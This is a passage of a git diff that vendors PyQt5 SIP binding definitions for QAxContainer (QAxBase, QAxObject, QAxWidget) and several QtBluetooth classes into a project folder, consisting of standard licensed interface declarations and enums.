these overloads is significant. + QVariant dynamicCall(const char *, QList & /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipRes = new QVariant(sipCpp->dynamicCall(a0, *a1)); + Py_END_ALLOW_THREADS + + // Update the input list with the (possibly) new values. + for (Py_ssize_t i = 0; i < PyList_Size(a1Wrapper); ++i) + { + QVariant *v = new QVariant(a1->at(i)); + PyObject *v_obj = sipConvertFromNewType(v, sipType_QVariant, NULL); + + if (!v_obj) + { + delete v; + sipIsErr = 1; + break; + } + + if (PyList_SetItem(a1Wrapper, i, v_obj) < 0) + { + Py_DECREF(v_obj); + sipIsErr = 1; + break; + } + } +%End + + QVariant dynamicCall(const char *, + const QVariant &value1 = QVariant(), + const QVariant &value2 = QVariant(), + const QVariant &value3 = QVariant(), + const QVariant &value4 = QVariant(), + const QVariant &value5 = QVariant(), + const QVariant &value6 = QVariant(), + const QVariant &value7 = QVariant(), + const QVariant &value8 = QVariant()); + + // Note that the order of these overloads is significant. + QAxObject *querySubObject(const char *, QList & /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->querySubObject(a0, *a1); + Py_END_ALLOW_THREADS + + // Update the input list with the (possibly) new values. + for (Py_ssize_t i = 0; i < PyList_Size(a1Wrapper); ++i) + { + QVariant *v = new QVariant(a1->at(i)); + PyObject *v_obj = sipConvertFromNewType(v, sipType_QVariant, NULL); + + if (!v_obj) + { + delete v; + sipIsErr = 1; + break; + } + + if (PyList_SetItem(a1Wrapper, i, v_obj) < 0) + { + Py_DECREF(v_obj); + sipIsErr = 1; + break; + } + } +%End + + QAxObject *querySubObject(const char *, + const QVariant &value1 = QVariant(), + const QVariant &value2 = QVariant(), + const QVariant &value3 = QVariant(), + const QVariant &value4 = QVariant(), + const QVariant &value5 = QVariant(), + const QVariant &value6 = QVariant(), + const QVariant &value7 = QVariant(), + const QVariant &value8 = QVariant()); + + // SIP has a bug triggered by a template definition being the subject of + // multiple typedefs. It only really matters when building everything as + // one big module (the code that implements the type is duplicated in + // other cases). Until it is fixed we just avoid the problematic typedef. + //typedef QMap PropertyBag; + //PropertyBag propertyBag() const; + //void setPropertyBag(const PropertyBag &); + QVariantMap propertyBag() const; + void setPropertyBag(const QVariantMap &); + + QString generateDocumentation(); + + virtual bool propertyWritable(const char *) const; + virtual void setPropertyWritable(const char *, bool); + + bool isNull() const; + + QStringList verbs() const; + + QVariant asVariant() const; + +signals: + void signal(const QString &, int, void *); + void propertyChanged(const QString &); + void exception(int, const QString &, const QString &, const QString &); + +public: + virtual void clear(); + bool setControl(const QString &); + + void disableMetaObject(); + void disableClassInfo(); + void disableEventSink(); + +%If (Qt_5_13_0 -) + unsigned long classContext() const; + void setClassContext(unsigned long classContext); +%End + +protected: + //virtual bool initialize(IUnknown** ptr); + //bool initializeRemote(IUnknown** ptr); + //bool initializeLicensed(IUnknown** ptr); + //bool initializeActive(IUnknown** ptr); + //bool initializeFromFile(IUnknown** ptr); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxobject.sip new file mode 100644 index 00000000..6cbfbb04 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxobject.sip @@ -0,0 +1,66 @@ +// This is the SIP interface definition for QAxObject. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAxObject : QObject, QAxBase /PyQtNoQMetaObject/ +{ +%TypeHeaderCode +#include +%End + +public: + QAxObject(QObject *parent /TransferThis/ = 0); + QAxObject(const QString &, QObject *parent /TransferThis/ = 0); + //QAxObject(IUnknown *, QObject *parent /TransferThis/ = 0); + ~QAxObject(); + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QAxObject, &sipType_QAxObject, 1, -1}, + {sipName_QAxWidget, &sipType_QAxWidget, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + + bool doVerb(const QString &); + +protected: + void connectNotify(const QMetaMethod &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxwidget.sip new file mode 100644 index 00000000..2cb16723 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QAxContainer/qaxwidget.sip @@ -0,0 +1,52 @@ +// This is the SIP interface definition for QAxWidget. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAxWidget : QWidget, QAxBase /PyQtNoQMetaObject/ +{ +%TypeHeaderCode +#include +%End + +public: + QAxWidget(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = 0); + QAxWidget(const QString &, QWidget *parent /TransferThis/ = 0, + Qt::WindowFlags flags = 0); + //QAxWidget(IUnknown *, QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = 0); + ~QAxWidget(); + + void clear(); + bool doVerb(const QString &); + + QSize sizeHint() const; + QSize minimumSizeHint() const; + + //virtual QaxAggregated *createAggregate(); + +protected: + //bool initialize(IUnknown **); + virtual bool createHostWindow(bool); + + void changeEvent(QEvent *); + void resizeEvent(QResizeEvent *); + + virtual bool translateKeyEvent(int,int) const; + + void connectNotify(const QMetaMethod &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/QtBluetooth.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/QtBluetooth.toml new file mode 100644 index 00000000..6e6ffa4b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/QtBluetooth.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtBluetooth. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/QtBluetoothmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/QtBluetoothmod.sip new file mode 100644 index 00000000..46b612ee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/QtBluetoothmod.sip @@ -0,0 +1,71 @@ +// QtBluetoothmod.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtBluetooth, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%Include qbluetooth.sip +%Include qbluetoothaddress.sip +%Include qbluetoothdevicediscoveryagent.sip +%Include qbluetoothdeviceinfo.sip +%Include qbluetoothhostinfo.sip +%Include qbluetoothlocaldevice.sip +%Include qbluetoothserver.sip +%Include qbluetoothservicediscoveryagent.sip +%Include qbluetoothserviceinfo.sip +%Include qbluetoothsocket.sip +%Include qbluetoothtransfermanager.sip +%Include qbluetoothtransferreply.sip +%Include qbluetoothtransferrequest.sip +%Include qbluetoothuuid.sip +%Include qlowenergyadvertisingdata.sip +%Include qlowenergyadvertisingparameters.sip +%Include qlowenergycharacteristic.sip +%Include qlowenergycharacteristicdata.sip +%Include qlowenergyconnectionparameters.sip +%Include qlowenergycontroller.sip +%Include qlowenergydescriptor.sip +%Include qlowenergydescriptordata.sip +%Include qlowenergyservice.sip +%Include qlowenergyservicedata.sip +%Include qpybluetooth_qlist.sip +%Include qpybluetooth_quint128.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetooth.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetooth.sip new file mode 100644 index 00000000..d994e8ab --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetooth.sip @@ -0,0 +1,63 @@ +// qbluetooth.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +namespace QBluetooth +{ +%TypeHeaderCode +#include +%End + + enum Security + { + NoSecurity, + Authorization, + Authentication, + Encryption, + Secure, + }; + + typedef QFlags SecurityFlags; + QFlags operator|(QBluetooth::Security f1, QFlags f2); +%If (Qt_5_7_0 -) + + enum AttAccessConstraint + { + AttAuthorizationRequired, + AttAuthenticationRequired, + AttEncryptionRequired, + }; + +%End +%If (Qt_5_7_0 -) + typedef QFlags AttAccessConstraints; +%End +%If (Qt_5_7_0 -) + QFlags operator|(QBluetooth::AttAccessConstraint f1, QFlags f2); +%End +}; + +%End +%If (Qt_5_4_0 -) +typedef quint16 QLowEnergyHandle; +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothaddress.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothaddress.sip new file mode 100644 index 00000000..3b340850 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothaddress.sip @@ -0,0 +1,46 @@ +// qbluetoothaddress.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothAddress +{ +%TypeHeaderCode +#include +%End + +public: + QBluetoothAddress(); + explicit QBluetoothAddress(quint64 address); + explicit QBluetoothAddress(const QString &address); + QBluetoothAddress(const QBluetoothAddress &other); + ~QBluetoothAddress(); + bool isNull() const; + void clear(); + bool operator<(const QBluetoothAddress &other) const; + bool operator==(const QBluetoothAddress &other) const; + bool operator!=(const QBluetoothAddress &other) const; + quint64 toUInt64() const; + QString toString() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothdevicediscoveryagent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothdevicediscoveryagent.sip new file mode 100644 index 00000000..7c26086c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothdevicediscoveryagent.sip @@ -0,0 +1,111 @@ +// qbluetoothdevicediscoveryagent.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothDeviceDiscoveryAgent : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + InputOutputError, + PoweredOffError, +%If (Qt_5_3_0 -) + InvalidBluetoothAdapterError, +%End +%If (Qt_5_5_0 -) + UnsupportedPlatformError, +%End +%If (Qt_5_8_0 -) + UnsupportedDiscoveryMethod, +%End + UnknownError, + }; + + enum InquiryType + { + GeneralUnlimitedInquiry, + LimitedInquiry, + }; + +%If (Qt_5_6_1 -) + explicit QBluetoothDeviceDiscoveryAgent(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QBluetoothDeviceDiscoveryAgent(QObject *parent /TransferThis/ = 0); +%End + QBluetoothDeviceDiscoveryAgent(const QBluetoothAddress &deviceAdapter, QObject *parent /TransferThis/ = 0); + virtual ~QBluetoothDeviceDiscoveryAgent(); + QBluetoothDeviceDiscoveryAgent::InquiryType inquiryType() const; + void setInquiryType(QBluetoothDeviceDiscoveryAgent::InquiryType type); + bool isActive() const; + QBluetoothDeviceDiscoveryAgent::Error error() const; + QString errorString() const; + QList discoveredDevices() const; + +public slots: + void start(); +%If (Qt_5_8_0 -) + void start(QBluetoothDeviceDiscoveryAgent::DiscoveryMethods method); +%End + void stop(); + +signals: + void deviceDiscovered(const QBluetoothDeviceInfo &info); + void finished(); + void error(QBluetoothDeviceDiscoveryAgent::Error error); + void canceled(); +%If (Qt_5_12_0 -) + void deviceUpdated(const QBluetoothDeviceInfo &info, QBluetoothDeviceInfo::Fields updatedFields); +%End + +public: +%If (Qt_5_8_0 -) + + enum DiscoveryMethod + { + }; + +%End +%If (Qt_5_8_0 -) + typedef QFlags DiscoveryMethods; +%End +%If (Qt_5_8_0 -) + void setLowEnergyDiscoveryTimeout(int msTimeout); +%End +%If (Qt_5_8_0 -) + int lowEnergyDiscoveryTimeout() const; +%End +%If (Qt_5_8_0 -) + static QBluetoothDeviceDiscoveryAgent::DiscoveryMethods supportedDiscoveryMethods(); +%End +}; + +%End +%If (Qt_5_8_0 -) +QFlags operator|(QBluetoothDeviceDiscoveryAgent::DiscoveryMethod f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothdeviceinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothdeviceinfo.sip new file mode 100644 index 00000000..10ec0fa5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothdeviceinfo.sip @@ -0,0 +1,272 @@ +// qbluetoothdeviceinfo.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothDeviceInfo +{ +%TypeHeaderCode +#include +%End + +public: + enum MajorDeviceClass + { + MiscellaneousDevice, + ComputerDevice, + PhoneDevice, + LANAccessDevice, +%If (Qt_5_13_0 -) + NetworkDevice, +%End + AudioVideoDevice, + PeripheralDevice, + ImagingDevice, + WearableDevice, + ToyDevice, + HealthDevice, + UncategorizedDevice, + }; + + enum MinorMiscellaneousClass + { + UncategorizedMiscellaneous, + }; + + enum MinorComputerClass + { + UncategorizedComputer, + DesktopComputer, + ServerComputer, + LaptopComputer, + HandheldClamShellComputer, + HandheldComputer, + WearableComputer, + }; + + enum MinorPhoneClass + { + UncategorizedPhone, + CellularPhone, + CordlessPhone, + SmartPhone, + WiredModemOrVoiceGatewayPhone, + CommonIsdnAccessPhone, + }; + + enum MinorNetworkClass + { + NetworkFullService, + NetworkLoadFactorOne, + NetworkLoadFactorTwo, + NetworkLoadFactorThree, + NetworkLoadFactorFour, + NetworkLoadFactorFive, + NetworkLoadFactorSix, + NetworkNoService, + }; + + enum MinorAudioVideoClass + { + UncategorizedAudioVideoDevice, + WearableHeadsetDevice, + HandsFreeDevice, + Microphone, + Loudspeaker, + Headphones, + PortableAudioDevice, + CarAudio, + SetTopBox, + HiFiAudioDevice, + Vcr, + VideoCamera, + Camcorder, + VideoMonitor, + VideoDisplayAndLoudspeaker, + VideoConferencing, + GamingDevice, + }; + + enum MinorPeripheralClass + { + UncategorizedPeripheral, + KeyboardPeripheral, + PointingDevicePeripheral, + KeyboardWithPointingDevicePeripheral, + JoystickPeripheral, + GamepadPeripheral, + RemoteControlPeripheral, + SensingDevicePeripheral, + DigitizerTabletPeripheral, + CardReaderPeripheral, + }; + + enum MinorImagingClass + { + UncategorizedImagingDevice, + ImageDisplay, + ImageCamera, + ImageScanner, + ImagePrinter, + }; + + enum MinorWearableClass + { + UncategorizedWearableDevice, + WearableWristWatch, + WearablePager, + WearableJacket, + WearableHelmet, + WearableGlasses, + }; + + enum MinorToyClass + { + UncategorizedToy, + ToyRobot, + ToyVehicle, + ToyDoll, + ToyController, + ToyGame, + }; + + enum MinorHealthClass + { + UncategorizedHealthDevice, + HealthBloodPressureMonitor, + HealthThermometer, + HealthWeightScale, + HealthGlucoseMeter, + HealthPulseOximeter, + HealthDataDisplay, + HealthStepCounter, + }; + + enum ServiceClass + { + NoService, + PositioningService, + NetworkingService, + RenderingService, + CapturingService, + ObjectTransferService, + AudioService, + TelephonyService, + InformationService, + AllServices, + }; + + typedef QFlags ServiceClasses; + + enum DataCompleteness + { + DataComplete, + DataIncomplete, + DataUnavailable, + }; + + QBluetoothDeviceInfo(); + QBluetoothDeviceInfo(const QBluetoothAddress &address, const QString &name, quint32 classOfDevice); +%If (Qt_5_5_0 -) + QBluetoothDeviceInfo(const QBluetoothUuid &uuid, const QString &name, quint32 classOfDevice); +%End + QBluetoothDeviceInfo(const QBluetoothDeviceInfo &other); + ~QBluetoothDeviceInfo(); + bool isValid() const; + bool isCached() const; + void setCached(bool cached); + bool operator==(const QBluetoothDeviceInfo &other) const; + bool operator!=(const QBluetoothDeviceInfo &other) const; + QBluetoothAddress address() const; + QString name() const; + QBluetoothDeviceInfo::ServiceClasses serviceClasses() const; + QBluetoothDeviceInfo::MajorDeviceClass majorDeviceClass() const; + quint8 minorDeviceClass() const; + qint16 rssi() const; + void setRssi(qint16 signal); + void setServiceUuids(const QList &uuids, QBluetoothDeviceInfo::DataCompleteness completeness); +%If (Qt_5_13_0 -) + void setServiceUuids(const QVector &uuids); +%End + QList serviceUuids(QBluetoothDeviceInfo::DataCompleteness *completeness /Out/ = 0) const; + QBluetoothDeviceInfo::DataCompleteness serviceUuidsCompleteness() const; +%If (Qt_5_4_0 -) + + enum CoreConfiguration + { + UnknownCoreConfiguration, + LowEnergyCoreConfiguration, + BaseRateCoreConfiguration, + BaseRateAndLowEnergyCoreConfiguration, + }; + +%End +%If (Qt_5_4_0 -) + typedef QFlags CoreConfigurations; +%End +%If (Qt_5_4_0 -) + void setCoreConfigurations(QBluetoothDeviceInfo::CoreConfigurations coreConfigs); +%End +%If (Qt_5_4_0 -) + QBluetoothDeviceInfo::CoreConfigurations coreConfigurations() const; +%End +%If (Qt_5_5_0 -) + void setDeviceUuid(const QBluetoothUuid &uuid); +%End +%If (Qt_5_5_0 -) + QBluetoothUuid deviceUuid() const; +%End +%If (Qt_5_12_0 -) + + enum class Field + { + None /PyName=None_/, + RSSI, + ManufacturerData, + All, + }; + +%End +%If (Qt_5_12_0 -) + typedef QFlags Fields; +%End +%If (Qt_5_12_0 -) + QVector manufacturerIds() const; +%End +%If (Qt_5_12_0 -) + QByteArray manufacturerData(quint16 manufacturerId) const; +%End +%If (Qt_5_12_0 -) + bool setManufacturerData(quint16 manufacturerId, const QByteArray &data); +%End +%If (Qt_5_12_0 -) + QHash manufacturerData() const; +%End +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QBluetoothDeviceInfo::CoreConfiguration f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QBluetoothDeviceInfo::ServiceClass f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothhostinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothhostinfo.sip new file mode 100644 index 00000000..6ba42c56 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothhostinfo.sip @@ -0,0 +1,47 @@ +// qbluetoothhostinfo.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothHostInfo +{ +%TypeHeaderCode +#include +%End + +public: + QBluetoothHostInfo(); + QBluetoothHostInfo(const QBluetoothHostInfo &other); + ~QBluetoothHostInfo(); + QBluetoothAddress address() const; + void setAddress(const QBluetoothAddress &address); + QString name() const; + void setName(const QString &name); +%If (Qt_5_5_0 -) + bool operator==(const QBluetoothHostInfo &other) const; +%End +%If (Qt_5_5_0 -) + bool operator!=(const QBluetoothHostInfo &other) const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothlocaldevice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothlocaldevice.sip new file mode 100644 index 00000000..902f5145 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothlocaldevice.sip @@ -0,0 +1,92 @@ +// qbluetoothlocaldevice.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothLocalDevice : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Pairing + { + Unpaired, + Paired, + AuthorizedPaired, + }; + + enum HostMode + { + HostPoweredOff, + HostConnectable, + HostDiscoverable, + HostDiscoverableLimitedInquiry, + }; + + enum Error + { + NoError, + PairingError, + UnknownError, + }; + +%If (Qt_5_6_1 -) + explicit QBluetoothLocalDevice(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QBluetoothLocalDevice(QObject *parent /TransferThis/ = 0); +%End + QBluetoothLocalDevice(const QBluetoothAddress &address, QObject *parent /TransferThis/ = 0); + virtual ~QBluetoothLocalDevice(); + bool isValid() const; + void requestPairing(const QBluetoothAddress &address, QBluetoothLocalDevice::Pairing pairing); + QBluetoothLocalDevice::Pairing pairingStatus(const QBluetoothAddress &address) const; + void setHostMode(QBluetoothLocalDevice::HostMode mode); + QBluetoothLocalDevice::HostMode hostMode() const; + void powerOn(); + QString name() const; + QBluetoothAddress address() const; + static QList allDevices(); +%If (Qt_5_3_0 -) + QList connectedDevices() const; +%End + +public slots: + void pairingConfirmation(bool confirmation); + +signals: + void hostModeStateChanged(QBluetoothLocalDevice::HostMode state); + void pairingFinished(const QBluetoothAddress &address, QBluetoothLocalDevice::Pairing pairing); + void pairingDisplayPinCode(const QBluetoothAddress &address, QString pin); + void pairingDisplayConfirmation(const QBluetoothAddress &address, QString pin); + void error(QBluetoothLocalDevice::Error error); +%If (Qt_5_3_0 -) + void deviceConnected(const QBluetoothAddress &address); +%End +%If (Qt_5_3_0 -) + void deviceDisconnected(const QBluetoothAddress &address); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothserver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothserver.sip new file mode 100644 index 00000000..96993c3b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qbluetoothserver.sip @@ -0,0 +1,108 @@ +// qbluetoothserver.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QBluetoothServer : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QBluetoothDeviceDiscoveryAgent, &sipType_QBluetoothDeviceDiscoveryAgent, -1, 1}, + {sipName_QBluetoothServiceDiscoveryAgent, &sipType_QBluetoothServiceDiscoveryAgent, -1, 2}, + #if QT_VERSION >= 0x050400 + {sipName_QLowEnergyService, &sipType_QLowEnergyService, -1, 3}, + #else + {0, 0, -1, 3}, + #endif + {sipName_QBluetoothTransferReply, &sipType_QBluetoothTransferReply, -1, 4}, + {sipName_QBluetoothTransferManager, &sipType_QBluetoothTransferManager, -1, 5}, + {sipName_QBluetoothServer, &sipType_QBluetoothServer, -1, 6}, + #if QT_VERSION >= 0x050400 + {sipName_QLowEnergyController, &sipType_QLowEnergyController, -1, 7}, + #else + {0, 0, -1, 7}, + #endif + {sipName_QBluetoothSocket, &sipType_QBluetoothSocket, -1, 8}, + {sipName_QBluetoothLocalDevice, &sipType_QBluetoothLocalDevice, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && 